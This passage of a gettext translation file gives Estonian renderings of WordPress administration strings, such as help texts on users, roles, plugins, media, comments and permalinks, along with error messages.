msgid "Remember to click the Add New User button at the bottom of this screen when you are finished."
msgstr "Ära unusta klõpsata peale andmete sisestamist lisamisnuppu ekraani alaservas."

#: wp-admin/export.php:151
msgid "Once you&#8217;ve saved the download file, you can use the Import function in another WordPress installation to import the content from this site."
msgstr "Kui oled faili salvestanud, saad selle impordifunktsiooni kasutades importida mõnda teise WordPressi veebilehte."

#: wp-admin/users.php:32
msgid "Screen Display"
msgstr "Ekraanikujundus"

#: wp-admin/upload.php:212
msgid "Attaching Files"
msgstr "Failide lisamine"

#: wp-admin/user-new.php:172
msgid "Here is a basic overview of the different user roles and the permissions associated with each one:"
msgstr "Siin on toodud lühiülevaade erinevatest kasutajarollidest ja nendega seonduvatest õigustest:"

#: wp-admin/user-new.php:171
msgid "User Roles"
msgstr "Kasutajarollid"

#: wp-admin/user-new.php:151
msgid "To add a new user to your site, fill in the form on this screen and click the Add New User button at the bottom."
msgstr "Uue kasutaja lisamiseks sisesta tema andmed ja klõpsa Lisa kasutaja -nuppu allpool."

#: wp-admin/edit-comments.php:122
msgid "Moderating Comments"
msgstr "Kommentaaride modereerimine"

#: wp-admin/user-new.php:174
msgid "Subscribers can read comments/comment/receive newsletters, etc. but cannot create regular site content."
msgstr "Lugejad saavad lugeda ja kirjutada kommentaare, tellida uudiskirju jne, ent ei saa luua uut veebisisu."

#: wp-admin/import.php:125
msgid "If the importer you need is not listed, <a href=\"%s\">search the plugin directory</a> to see if an importer is available."
msgstr "Kui soovitud importijat nimekirjas pole, <a href=\"%s\">otsi pluginate kataloogist</a>, ehk leidub midagi sobivat."

#: wp-admin/edit.php:200
msgid "When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected posts at once. To remove a post from the grouping, just click the x next to its name in the Bulk Edit area that appears."
msgstr "On ka võimalik muuta korraga kõigi valitud postituste metaandmeid (rubriigid, autor jne). Postituse eemaldamiseks valikust klõpsa X-i tema nime kõrval redigeerimisalas."

#: wp-admin/edit.php:185 wp-admin/upload.php:206
msgid "Available Actions"
msgstr "Saadaolevad tegevused"

#: wp-admin/user-new.php:176
msgid "Authors can publish and manage their own posts, and are able to upload files."
msgstr "Autorid saavad avaldada ja hallata enda postitusi ning laadida üles faile."

#: wp-admin/update-core.php:483
msgid "How to Update"
msgstr "Kuidas uuendada"

#: wp-admin/edit.php:169
msgid "This screen provides access to all of your posts. You can customize the display of this screen to suit your workflow."
msgstr "Siit leiad kõik enda postitused.  Kuvamissätteid saad valida vastavalt enda soovile."

#: wp-admin/edit.php:199
msgid "You can also edit or move multiple posts to the trash at once. Select the posts you want to act on using the checkboxes, then select the action you want to take from the Bulk Actions menu and click Apply."
msgstr "Postitusi saab töödelda (näiteks muuta või kustutada) ka mitmekaupa. Vali soovitavad märkeruutude abil välja, vali siis rühmategevuste alt soovitav tegevus ja klõpsa nuppu Rakenda."

#: wp-admin/plugin-install.php:75
msgid "Adding Plugins"
msgstr "Pluginate lisamine"

#: wp-admin/edit.php:173
msgid "Screen Content"
msgstr "Ekraanisisu"

#: wp-admin/edit.php:175
msgid "You can customize the display of this screen&#8217;s contents in a number of ways:"
msgstr "Ekraanil kuvatavat sisu saad kohandada mitmel eri viisil:"

#: wp-admin/themes.php:64
msgid "Adding Themes"
msgstr "Teemade lisamine"

#: wp-admin/plugin-install.php:71
msgid "Plugins hook into WordPress to extend its functionality with custom features. Plugins are developed independently from the core WordPress application by thousands of developers all over the world. All plugins in the official <a href=\"%s\" target=\"_blank\">WordPress.org Plugin Directory</a> are compatible with the license WordPress uses. You can find new plugins to install by searching or browsing the Directory right here in your own Plugins section."
msgstr "Pluginad võimaldavad lisada WordPressile lisafunktsioone. Neid arendavad tuhanded arendajad üle maailma, tehes seda WordPressi põhitarkvarast sõltumatult. Kõik <a href=\"%s\" target=\"_blank\">WordPressi ametlikus pluginakataloogis</a> sisalduvad pluginad kasutavad WordPressi omaga ühilduvaid litsentse. Uusi pluginaid saad otsida või nende kataloogi sirvida siitsamast pluginate sektsioonist."

#: wp-admin/options-permalink.php:21
msgid "Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change &#8212; hence the name permalink."
msgstr "Püsiviited on stabiilsed viited sinu üksikutele lehtedele ja postitustele, samuti rubriikide ja siltide arhiivile. Püsiviide on veebiaadress, millelt sinu lehe sisu kätte saab. Need peaksid olema püsivad ja mitte muutuma (siit ka nimi)."

#: wp-admin/options-permalink.php:29
msgid "Many people choose to use &#8220;pretty permalinks,&#8221; URLs that contain useful information such as the post title rather than generic post ID numbers. You can choose from any of the permalink formats under Common Settings, or can craft your own if you select Custom Structure."
msgstr "Paljud kasutavad nn. ilusaid püsiviiteid, mis sisaldavad kasulikku infot (nagu näiteks postituse pealkiri), mitte üksnes postituse numbrit. Võid valida mõne levinud viideteskeemi levinud sätete alt või luua omaenese viidetesüsteemi."

#: wp-admin/options-permalink.php:28 wp-admin/options-permalink.php:201
msgid "Common Settings"
msgstr "Enimkasutatavad sätted"

#: wp-admin/options-permalink.php:37
msgid "Custom Structures"
msgstr "Kohandatud struktuur"

#: wp-admin/options-media.php:21
msgid "Uploading Files allows you to choose the folder and path for storing your uploaded files."
msgstr "Üleslaadimise juures saab määrata üleslaetavate failide kataloogitee."

#: wp-admin/options-writing.php:21
msgid "You can submit content in several different ways; this screen holds the settings for all of them. The top section controls the editor within the dashboard, while the rest control external publishing methods. For more information on any of these methods, use the documentation links."
msgstr "Sisu saab veebi lisada eri viisidel ning siit saad neid kõiki sättida. Üleval on sisseehitatud redaktori sätted, allpool aga saad sättida väliseid avaldamisviise. Lisainfo jaoks nende kohta kasuta allolevaid dokumentatsiooniviiteid."

#: wp-admin/themes.php:57
msgid "Installing themes on Multisite can only be done from the Network Admin section."
msgstr "WordPressi võrgustikupaigaldusele saab teemasid lisada üksnes võrgustikuhalduse valikutest."

#: wp-admin/options-general.php:65
msgid "If you want site visitors to be able to register themselves, as opposed to by the site administrator, check the membership box. A default user role can be set for all new users, whether self-registered or registered by the site admin."
msgstr "Kui soovid kasutajatel lasta end ise registreerida (ja mitte jätta seda halduri hooleks), tee linnuke liitumise märkeruutu.  Vaikimisi kasutajarolli saab määrata kõigile kasutajatele, nii halduri loodutele kui ise registreerunutele."

#: wp-admin/options-writing.php:35
msgid "Post Via Email"
msgstr "Postita e-kirjaga"

#: wp-admin/options-writing.php:45
msgid "If desired, WordPress will automatically alert various services of your new posts."
msgstr "Soovi korral teavitab WordPress erinevaid e-teenuseid uutest postitustest automaatselt."

#: wp-admin/options-discussion.php:20
msgid "This screen provides many options for controlling the management and display of comments and links to your posts/pages. So many, in fact, they won&#8217;t all fit here! :) Use the documentation links to get information on what each discussion setting does."
msgstr "Siit leiad palju võimalusi enda kommentaaride ja viidete haldamiseks. Neid on tegelikult nii palju, et nad ei mahu korraga ekraanile. :) Lisainfot saad dokumentatsiooniviidetele klõpsates."

#: wp-admin/user-edit.php:40
msgid "You can change your password, turn on keyboard shortcuts, change the color scheme of your WordPress administration screens, and turn off the WYSIWYG (Visual) editor, among other things. You can hide the Toolbar (formerly called the Admin Bar) from the front end of your site, however it cannot be disabled on the admin screens."
msgstr "Saad muuhulgas vahetada enda parooli, määrata kiirklahve, muuta haldusliidese värviskeemi ja lülitada välja WYSIWYG (visuaal-) redaktori.  Tööriistariba (varasema nimega haldusriba) saab esilehel välja lülitada, ent haldusliideses seda teha ei saa."

#: wp-admin/widgets.php:94
msgid "Inactive Sidebar (not used)"
msgstr "Väljalülitatud külgpaan (ei kasutata)"

#: wp-admin/widgets.php:97
msgid "This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar."
msgstr "Seda külgpaani ei saa enam kasutada ja seda ei kuvata. Selle lõplikuks eemaldamiseks pead allpool eemaldama kõik selle moodulid."

#: wp-admin/media-new.php:49
msgid "<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed."
msgstr "<strong>Lohista</strong> enda failid allolevasse kasti. Faile võib olla ka mitu."

#: wp-admin/media-new.php:50
msgid "Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen."
msgstr "<strong>Failide valimine</strong> avab akna, kus kuvatakse sinu arvutis olevad failid. Valides <strong>Ava</strong> peale faili valimist käivitub üleslaadimine."

#: wp-admin/edit-tags.php:187
msgid "You can create groups of links by using Link Categories. Link Category names must be unique and Link Categories are separate from the categories you use for posts."
msgstr "Viiteid saab rühmitada viiterubriikide abil. Viiterubriikide nimed peavad olema unikaalsed, kuid viidete- ja postitusterubriigid on erinevad asjad."

#: wp-admin/widgets.php:57
msgid "Removing and Reusing"
msgstr "Eemaldamine ja taaskasutus"

#: wp-admin/edit-tags.php:189
msgid "You can assign keywords to your posts using <strong>tags</strong>. Unlike categories, tags have no hierarchy, meaning there&#8217;s no relationship from one tag to another."
msgstr "Postitusi saab varustada <strong>siltidega</strong>. Erinevalt rubriikidest ei moodusta sildid hierarhiat, seega ei saa silte omavahel seostada."

#: wp-admin/widgets.php:65
msgid "Missing Widgets"
msgstr "Puuduvad moodulid"

#: wp-admin/edit-comments.php:118
msgid "You can manage comments made on your site similar to the way you manage posts and other content. This screen is customizable in the same ways as other management screens, and you can act on comments using the on-hover action links or the Bulk Actions."
msgstr "Veebilehe kommentaare hallatakse sarnaselt postituste ja muu sisuga. Seda ekraani saab kohandada nagu muid haldusekraane ning kommentaare saab hallata nii ühekaupa kui hulgi."

#: wp-admin/edit-comments.php:125
msgid "In the <strong>Author</strong> column, in addition to the author&#8217;s name, email address, and blog URL, the commenter&#8217;s IP address is shown. Clicking on this link will show you all the comments made from this IP address."
msgstr "<strong>Autori</strong> veerus näidatakse lisaks autori nimele, e-posti- ja ajaveebiaadressile ka IP-aadressi. Sellele klõpsates näidatakse kõiki sellelt aadressilt tehtud kommentaare."

#: wp-admin/index.php:46
msgid "Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information."
msgstr "Ekraani ülaservas asuv tööriistariba ühendab töölauda veebilehe välisküljega, samuti annab see ligipääsu kasutajakontole ja WordPressi abiinfole."

#: wp-admin/link-manager.php:53
msgid "Deleting Links"
msgstr "Viidete kustutamine"

#: wp-admin/upload.php:208
msgid "Hovering over a row reveals action links: Edit, Delete Permanently, and View. Clicking Edit or on the media file&#8217;s name displays a simple screen to edit that individual file&#8217;s metadata. Clicking Delete Permanently will delete the file from the media library (as well as from any posts to which it is currently attached). View will take you to the display page for that file."
msgstr "Viies hiirekursori mõne rea peale, kuvatakse seal tegevustevalik: <em>Muuda</em>, <em>Kustuta jäädavalt</em> ja <em>Vaata</em>. Muutmise või meediafaili nime klõpsamine avab faili metaandmete muutmise ekraani. Kustutamisel kaob fail nii meediateegist kui ka kõigist postitustest, kus seda kasutati. Vaatamine kuvab vastava faili."

#: wp-admin/edit.php:220
msgid "Managing pages is very similar to managing posts, and the screens can be customized in the same way."
msgstr "Lehtede haldamine on väga sarnane postituste haldamisega ning ekraani saab kohandada samal viisil."

#: wp-admin/edit.php:221
msgid "You can also perform the same types of actions, including narrowing the list by using the filters, acting on a page using the action links that appear when you hover over a row, or using the Bulk Actions menu to edit the metadata for multiple pages at once."
msgstr "Ka võid sooritada samu tegevusi, näiteks nimekirja filtreerimine, tegevuste valik hiirekursori alla ilmuvast menüüst ja mitme lehe metaandmete muutmine korraga."

#: wp-admin/upload.php:214
msgid "If a media file has not been attached to any post, you will see that in the Attached To column, and can click on Attach File to launch a small popup that will allow you to search for a post and attach the file."
msgstr "Kui meediafaili ei kasuta ükski postitus, näed seda <em>Kasutusel</em> -veerus ning võid klõpsata <em>Kasuta faili</em>, mis avab väikese hüpikakna. Sealt saad otsida vajaliku postituse ning määrata selle meediafaili kasutajaks."

#: wp-admin/upload.php:200
msgid "All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first. You can use the Screen Options tab to customize the display of this screen."
msgstr "Kõik üleslaetud failid lähevad kirja Meediateeki, värskeimad failid eespool. Selle kohandamiseks võid kasutada ekraanisätteid."

#: wp-admin/edit.php:214
msgid "Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages."
msgstr "Lehed sarnanevad postitustele selle poolest, et neilgi on pealkiri, sisu ja metaandmed, kuid erinevalt postitustest ei kuulu nad kronoloogiliselt järjestatud postitustevoo hulka, vaid on otsekui püsivad postitused. Lehed ei kasuta rubriike, ega silte, kuid neid saab hierarhiliselt järjestada. Lehe saab paigutada teise lehe alajaotiseks, määrates teise lehe selle ülemleheks. Nii saab luua lehtede rühmi."

#: wp-admin/edit-comments.php:128
msgid "Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more."
msgstr "Paljud inimesed kasutavad modereerimise kiirendamiseks kiirklahve. Lisainfo saamiseks klõpsa kõrvalasuvat linki."

#: wp-admin/edit-comments.php:126
msgid "In the <strong>Comment</strong> column, above each comment it says &#8220;Submitted on,&#8221; followed by the date and time the comment was left on your site. Clicking on the date/time link will take you to that comment on your live site. Hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment."
msgstr "<strong>Kommentaari</strong> veerus näidatakse iga kommentaari sisestamisaega. Ajale klõpsates näidatakse kommentaari tema algses asukohas veebilehel. Hiirega kommentaarile liikudes saab seda heaks kiita, sellele vastata, muuta (kiir- või tavarežiimis), märkida rämpsuks või kustutada."

#: wp-admin/link-manager.php:48
msgid "Links may be separated into Link Categories; these are different than the categories used on your posts."
msgstr "Viiteid võib jagada viiterubriikidesse, mis ei ole samad kui postitusterubriigid."

#: wp-admin/update-core.php:196
msgid "<a href=\"%s\">Learn more about WordPress %s</a>."
msgstr "<a href=\"%1$s\">Loe veel WordPress %s kohta</a>"

#: wp-admin/edit.php:218
msgid "Managing Pages"
msgstr "Lehtede haldus"

#: wp-admin/users.php:35
msgid "You can hide/display columns based on your needs and decide how many users to list per screen using the Screen Options tab."
msgstr "Ekraanisätete abil saad näidata/peita veerge ning otsustada, mitut postitust korraga näidata."

#: wp-admin/edit.php:192
msgid "<strong>Preview</strong> will show you what your draft post will look like if you publish it. View will take you to your live site to view the post. Which link is available depends on your post&#8217;s status."
msgstr "<strong>Eelvaatle</strong> näitab mustandi väljanägemist, Vaata näitab juba avaldatud postitust.  Nende kasutamine sõltub postituse olekust."

#: wp-admin/users.php:41
msgid "Hovering over a row in the users list will display action links that allow you to manage users. You can perform the following actions:"
msgstr "Hiirekursorit kasutajanimekirja  kohale viies kuvatakse mõned haldustegevused. Siin saad teha järgmist:"

#: wp-admin/edit.php:191
msgid "<strong>Trash</strong> removes your post from this list and places it in the trash, from which you can permanently delete it."
msgstr "<strong>Viska ära</strong>-valik eemaldab postituse nimekirjast ja viskab selle prügikasti, kust seda saab jäädavalt kustutada."

#: wp-admin/edit.php:190
msgid "<strong>Quick Edit</strong> provides inline access to the metadata of your post, allowing you to update post details without leaving this screen."
msgstr "<strong>Kiirredaktor</strong> annab kiire ligipääsu postituse metaandmetele ja võimaldab teha seal jooksvalt muudatusi."

#: wp-admin/edit.php:189
msgid "<strong>Edit</strong> takes you to the editing screen for that post. You can also reach that screen by clicking on the post title."
msgstr "<strong>Muuda</strong> võimaldab redigeerida postitust. Samasse viib ka postituse pealkirjal klõpsamine."

#: wp-admin/users.php:43
msgid "Edit takes you to the editable profile screen for that user. You can also reach that screen by clicking on the username."
msgstr "Muuda võimaldab redigeerida kasutaja andmeid. Samasse viib ka kasutajanimel klõpsamine."

#: wp-admin/users.php:37
msgid "You can view all posts made by a user by clicking on the number under the Posts column."
msgstr "Kõiki kasutaja tehtud postitusi saab näha Postituste juures olevale numbrile klõpsates."

#: wp-admin/user-new.php:154
msgid "Because this is a multisite installation, you may add accounts that already exist on the Network by specifying a username or email, and defining a role. For more options, such as specifying a password, you have to be a Network Administrator and use the hover link under an existing user&#8217;s name to Edit the user profile under Network Admin > All Users."
msgstr "Kuna WordPress on paigaldatud võrgustikuna, võid juba võrgustikus olemasolevaid kasutajai lisada lihtsalt kasutajanime või e-postiaadressi ja kasutajarolli määramisega. Täiendavate võimaluste (parooli määramine jne) kasutamiseks pead olema võrgustikuhaldur - sel juhul saad kasutajainfot redigeerida kasutajanime kohal asuva hõljukviite kaudu."

#: wp-admin/includes/template.php:2075
msgid "Likely direct inclusion of wp-admin/includes/template.php in order to use add_meta_box(). This is very wrong. Hook the add_meta_box() call into the add_meta_boxes action instead."
msgstr "Ilmselt on funktsiooni  add_meta_box() kasutatud wp-admin/includes/template.php kaudu. See ei ole hea idee.  Kasuta add_meta_box() -funktsiooni add_meta_boxes -i kaudu."

#: wp-admin/credits.php:83 wp-admin/freedoms.php:20
msgid "Welcome to WordPress %s"
msgstr "Tere tulemast WordPressi versiooni %s"

#: wp-admin/about.php:168
msgid "Go to Dashboard &rarr; Home"
msgstr "Töölauale &rarr; Esileht"

#: wp-admin/about.php:164
msgid "Return to Dashboard &rarr; Updates"
msgstr "Tagasi töölaua uuenduste juurde"

#: wp-admin/credits.php:112
msgid "WordPress is created by a worldwide team of passionate individuals."
msgstr "WordPressi lõi rahvusvaheline pühendunud inimeste meeskond.."

#: wp-admin/credits.php:176
msgid "Core Developers"
msgstr "Juhtivarendajad"

#: wp-admin/about.php:139
msgid "Under the Hood"
msgstr "Kapoti all"

#: wp-admin/includes/dashboard.php:1285 wp-admin/includes/dashboard.php:1287
msgid "Customize Your Site"
msgstr "Kohanda oma veebilehte"

#: wp-admin/user-edit.php:199
msgid "Profile updated."
msgstr "Profiili uuendati."

#. translators: 1: Site name, 2: site URL, 3: role, 4: activation URL
#: wp-admin/user-new.php:81
msgid ""
"Hi,\n"
"\n"
"You've been invited to join '%1$s' at\n"
"%2$s with the role of %3$s.\n"
"\n"
"Please click the following link to confirm the invite:\n"
"%4$s"
msgstr ""
"Tere,\n"
"\n"
"Sind kutsutakse osalema veebilehel '%s' aadressil\n"
"%s rollis %s.\n"
"\n"
"Kutse vastuvõtmiseks klõpsa palun allolevat viidet:\n"
"%4$s"

#: wp-admin/credits.php:184
msgid "Core Developer"
msgstr "Juhtivarendaja"

#: wp-admin/includes/class-wp-upgrader.php:56
msgid "The package could not be installed."
msgstr "Paki paigaldamine ebaõnnestus."

#: wp-admin/includes/class-wp-upgrader.php:495
msgid "The plugin contains no files."
msgstr "Pluginal puuduvad failid."

#: wp-admin/includes/class-wp-upgrader.php:720
msgid "No valid plugins were found."
msgstr "Pluginaid ei leitud."

#: wp-admin/includes/class-wp-upgrader.php:1099
msgid "The theme is missing the <code>style.css</code> stylesheet."
msgstr "Teemal puudub <code>style.css</code> -stiilileht."

#: wp-admin/includes/class-wp-upgrader.php:1108
msgid "The theme is missing the <code>index.php</code> file."
msgstr "Teemal puudub <code>index.php</code> -fail."

#: wp-admin/includes/class-wp-upgrader.php:1104
msgid "The <code>style.css</code> stylesheet doesn't contain a valid theme header."
msgstr "Teema <code>style.css</code> -stiililehel puudub korrektne teemapäis."

#: wp-admin/includes/media.php:1017
msgid "Attachment Post URL"
msgstr "Manuseleht"

#: wp-admin/menu.php:76
msgctxt "admin menu"
msgid "All Links"
msgstr "Kõik viited"

#: wp-admin/includes/media.php:1819
msgid "Drop files here"
msgstr "Lohista failid siia"

#: wp-admin/includes/plugin-install.php:151
msgid "%s plugins"
msgstr "%s pluginat"

#: wp-admin/includes/plugin-install.php:151
msgid "%s plugin"
msgstr "%s plugin"

#. translators: %s: table name
#: wp-admin/maint/repair.php:92
msgid "Successfully optimized the %s table."
msgstr "Tabel %s edukalt optimeeritud."

#. translators: 1: table name, 2: error message,
#: wp-admin/maint/repair.php:95
msgid "Failed to optimize the %1$s table. Error: %2$s"
msgstr "Tabeli %1$s optimeerimine ebaõnnestus. Veateade: %2$s"

#. translators: %s: table name
#: wp-admin/maint/repair.php:70
msgid "Successfully repaired the %s table."
msgstr "Tabel %s edukalt parandatud."

#. translators: %s: table name
#: wp-admin/maint/repair.php:85
msgid "The %s table is already optimized."
msgstr "Tabel %s on juba optimeeritud."

#. translators: %s: table name
#: wp-admin/maint/repair.php:60
msgid "The %s table is okay."
msgstr "Tabel %s on korras."

#: wp-admin/update-core.php:270
msgid "View version %1$s details"
msgstr "Vaata versiooni %1$s üksikasju"

#: wp-admin/includes/import.php:194
msgid "Tumblr"
msgstr "Tumblr"

#: wp-admin/includes/import.php:195
msgid "Install the Tumblr importer to import posts &amp; media from Tumblr using their API."
msgstr "Paigalda Tumblr-i importija, et importida sealseid postitusi Tumblr-i API abil."

#: wp-admin/includes/dashboard.php:1193
msgid "<a href=\"%1$s\" class=\"update-browser-link\">Update %2$s</a> or learn how to <a href=\"%3$s\" class=\"browse-happy-link\">browse happy</a>"
msgstr "<a href=\"%1$s\" class=\"update-browser-link\">Uuenda %2$s peale</a> või  loe, <a href=\"%3$s\" class=\"browse-happy-link\">kuidas edukalt veebis surfata</a>"

#. translators: %1$s is link start tag, %2$s is link end tag, %3$d is width,
#. %4$d is height
#: wp-admin/includes/media.php:2580
msgid "Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d)."
msgstr "Muuda pildid suurteks  (vt %1$spildisätteid%2$s; %3$d &times; %4$d)."

#: wp-admin/includes/media.php:2451
msgid "Audio, Video, or Other File"
msgstr "Audio-, video- või mõni muu fail"

#: wp-admin/includes/media.php:1975
msgid "Insert media from another website"
msgstr "Lisa meediafaile mõnelt teiselt veebilehelt"

#: wp-admin/options.php:144
msgid "<strong>ERROR</strong>: options page not found."
msgstr "<strong>VIGA</strong>: sätete lehte ei leitud."

#: wp-admin/includes/file.php:1028
msgid "<strong>ERROR:</strong> There was an error connecting to the server, Please verify the settings are correct."
msgstr "<strong>VIGA:</strong> Serveriga ei saadud ühendust. Palun kontrolli serveri sätteid."

#: wp-admin/includes/ajax-actions.php:930
msgid "ERROR: you are replying to a comment on a draft post."
msgstr "Viga: üritad vastata avaldamata postituse kommentaarile."

#: wp-admin/includes/ajax-actions.php:953
#: wp-admin/includes/ajax-actions.php:1021
msgid "ERROR: please type a comment."
msgstr "Viga: palun sisesta kommentaar."

#: wp-admin/index.php:45
msgid "The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom."
msgstr "Vasakul asuv menüü sisaldab viiteid kõigile WordPressi haldustegevustele, menüü alajaotisi näidatakse hõljukviidetena. Menüüd saab vähendada kitsaks ikooniribaks, kui klõpsata vähendamisnoolt menüü all."

#: wp-admin/index.php:56
msgid "<strong>Drag and Drop</strong> - To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box."
msgstr "<strong>Lohistamine</strong> - elementide ümbertõstmiseks lohista need õigesse kohta. Selleks klõpsa valitud elemendi pealkirjaribale, hoia hiirenuppu all ja lohista element hiirega soovitud paika, kuni näed seal halli punktiirjoonega piiratud kasti."

#: wp-admin/index.php:54
msgid "You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well."
msgstr "Allolevate seadistusvahendite abil saad kohandada töölaua enda vajaduste järgi. See võimalus on ka enamikus muudes haldustegevustes."

#: wp-admin/comment.php:50 wp-admin/custom-background.php:140
#: wp-admin/custom-header.php:164 wp-admin/edit-comments.php:116
#: wp-admin/edit-form-advanced.php:315 wp-admin/edit-link-form.php:56
#: wp-admin/edit-tags.php:198 wp-admin/edit.php:167 wp-admin/edit.php:212
#: wp-admin/export.php:48 wp-admin/import.php:21
#: wp-admin/includes/screen.php:839 wp-admin/index.php:39
#: wp-admin/link-manager.php:45 wp-admin/media-new.php:45 wp-admin/media.php:73
#: wp-admin/my-sites.php:40 wp-admin/nav-menus.php:502
#: wp-admin/nav-menus.php:537 wp-admin/options-discussion.php:19
#: wp-admin/options-general.php:73 wp-admin/options-media.php:28
#: wp-admin/options-permalink.php:20 wp-admin/options-reading.php:55
#: wp-admin/options-writing.php:20 wp-admin/plugin-editor.php:128
#: wp-admin/plugin-install.php:69 wp-admin/plugins.php:344
#: wp-admin/revision.php:114 wp-admin/theme-editor.php:25
#: wp-admin/theme-install.php:87 wp-admin/themes.php:49
#: wp-admin/update-core.php:470 wp-admin/upload.php:33 wp-admin/upload.php:198
#: wp-admin/user-edit.php:47 wp-admin/user-new.php:165 wp-admin/users.php:25
#: wp-admin/widgets.php:50
msgid "Overview"
msgstr "Ülevaade"

#: wp-admin/menu.php:43
msgid "Updates %s"
msgstr "Uuendused %s"

#: wp-admin/edit-comments.php:155 wp-admin/edit-tags.php:300
#: wp-admin/edit.php:279 wp-admin/link-manager.php:74 wp-admin/plugins.php:419
#: wp-admin/upload.php:234 wp-admin/users.php:441
msgid "Search results for &#8220;%s&#8221;"
msgstr "Otsiti: &#8220;%s&#8221;"

#: wp-admin/includes/user.php:62 wp-admin/users.php:113
msgid "You can&#8217;t give users that role."
msgstr "Sa ei saa kasutajale seda rolli anda."

#: wp-admin/includes/class-wp-ms-themes-list-table.php:223
#: wp-admin/includes/class-wp-plugins-list-table.php:274
msgid "Update Available <span class=\"count\">(%s)</span>"
msgid_plural "Update Available <span class=\"count\">(%s)</span>"
msgstr[0] "Saadaval uuendus <span class=\"count\">(%s)</span>"
msgstr[1] "Saadaval uuendused <span class=\"count\">(%s)</span>"

#: wp-admin/plugins.php:308
msgid "Click to view entire list of files which will be deleted"
msgstr "Klõpsa siia, et näha kõigi kustutatavate failide nimekirja"

#. translators: 1: plugin name, 2: plugin author
#: wp-admin/plugins.php:283
msgid "<strong>%1$s</strong> by <em>%2$s</em>"
msgstr "<strong>%s</strong>, kirjutas <em>%s</em>"

#: wp-admin/comment.php:157 wp-admin/plugins.php:270
#: wp-admin/theme-editor.php:215
msgid "Caution:"
msgstr "Ettevaatust!"

#: wp-admin/menu.php:207 wp-admin/menu.php:209 wp-admin/user-new.php:144
#: wp-admin/user-new.php:335
msgid "Add New User"
msgstr "Lisa uus kasutaja"

#: wp-admin/users.php:20
msgctxt "users per page (screen options)"
msgid "Users"
msgstr "Kasutajad"

#: wp-admin/options-discussion.php:12 wp-admin/options-general.php:13
#: wp-admin/options-media.php:13 wp-admin/options-permalink.php:13
#: wp-admin/options-reading.php:13 wp-admin/options-writing.php:13
msgid "You do not have sufficient permissions to manage options for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe seadete muutmiseks."

#: wp-admin/menu.php:184
msgctxt "plugin editor"
msgid "Editor"
msgstr ""

#: wp-admin/menu.php:179
msgid "Installed Plugins"
msgstr "Paigaldatud pluginad"

#: wp-admin/users.php:258
msgid "Confirm Deletion"
msgstr "Kinnita kustutamine"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:286
#: wp-admin/includes/class-wp-plugins-list-table.php:299
#: wp-admin/includes/class-wp-plugins-list-table.php:408
msgid "Deactivate"
msgstr "Lülita välja"

#: wp-admin/about.php:32 wp-admin/credits.php:87 wp-admin/freedoms.php:24
#: wp-admin/includes/class-wp-ms-themes-list-table.php:385
#: wp-admin/includes/class-wp-plugins-list-table.php:514
#: wp-admin/includes/update.php:164 wp-admin/includes/update.php:188
msgid "Version %s"
msgstr "Versioon %s"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:387
#: wp-admin/includes/class-wp-plugin-install-list-table.php:382
#: wp-admin/includes/class-wp-plugins-list-table.php:519
#: wp-admin/includes/class-wp-theme-install-list-table.php:272
#: wp-admin/includes/class-wp-theme-install-list-table.php:374
#: wp-admin/includes/class-wp-themes-list-table.php:194
#: wp-admin/theme-install.php:215 wp-admin/theme-install.php:243
#: wp-admin/themes.php:204 wp-admin/themes.php:285 wp-admin/themes.php:334
msgid "By %s"
msgstr "Autor %s"

#: wp-admin/user-new.php:231
msgid "User added."
msgstr "Kasutaja lisatud."

#: wp-admin/includes/class-wp-media-list-table.php:526
#: wp-admin/includes/class-wp-media-list-table.php:545
#: wp-admin/includes/class-wp-ms-users-list-table.php:261
#: wp-admin/includes/class-wp-posts-list-table.php:680
#: wp-admin/includes/class-wp-terms-list-table.php:313
msgid "View"
msgstr "Vaata"

#: wp-admin/includes/class-wp-ms-users-list-table.php:191
#: wp-admin/user-edit.php:337
msgid "Super Admin"
msgstr "Peahaldur"

#: wp-admin/users.php:272 wp-admin/users.php:280 wp-admin/users.php:307
#: wp-admin/users.php:315
msgid "You can&#8217;t remove users."
msgstr "Sa ei saa kasutajaid kustutada."

#: wp-admin/my-sites.php:55 wp-admin/options-head.php:15
#: wp-admin/options.php:198
msgid "Settings saved."
msgstr "Seaded salvestati."

#: wp-admin/users.php:394
msgid "Changed roles."
msgstr "Rolle muudeti."

#: wp-admin/users.php:405
msgid "User removed from this site."
msgstr "Kasutaja eemaldatud sellelt veebilehelt."

#: wp-admin/includes/dashboard.php:383 wp-admin/users.php:448
msgid "Search Users"
msgstr "Otsi kasutajaid"

#: wp-admin/user-new.php:273
msgid "Add Existing User"
msgstr "Lisa olemasolev kasutaja"

#: wp-admin/includes/class-wp-users-list-table.php:265
#: wp-admin/user-edit.php:317 wp-admin/user-new.php:301
#: wp-admin/user-new.php:410
msgid "Role"
msgstr "Roll"

#: wp-admin/comment.php:57 wp-admin/custom-background.php:149
#: wp-admin/custom-header.php:190 wp-admin/edit-comments.php:132
#: wp-admin/edit-form-advanced.php:292 wp-admin/edit-form-advanced.php:307
#: wp-admin/edit-form-advanced.php:324 wp-admin/edit-link-form.php:64
#: wp-admin/edit-tags.php:228 wp-admin/edit.php:204 wp-admin/edit.php:225
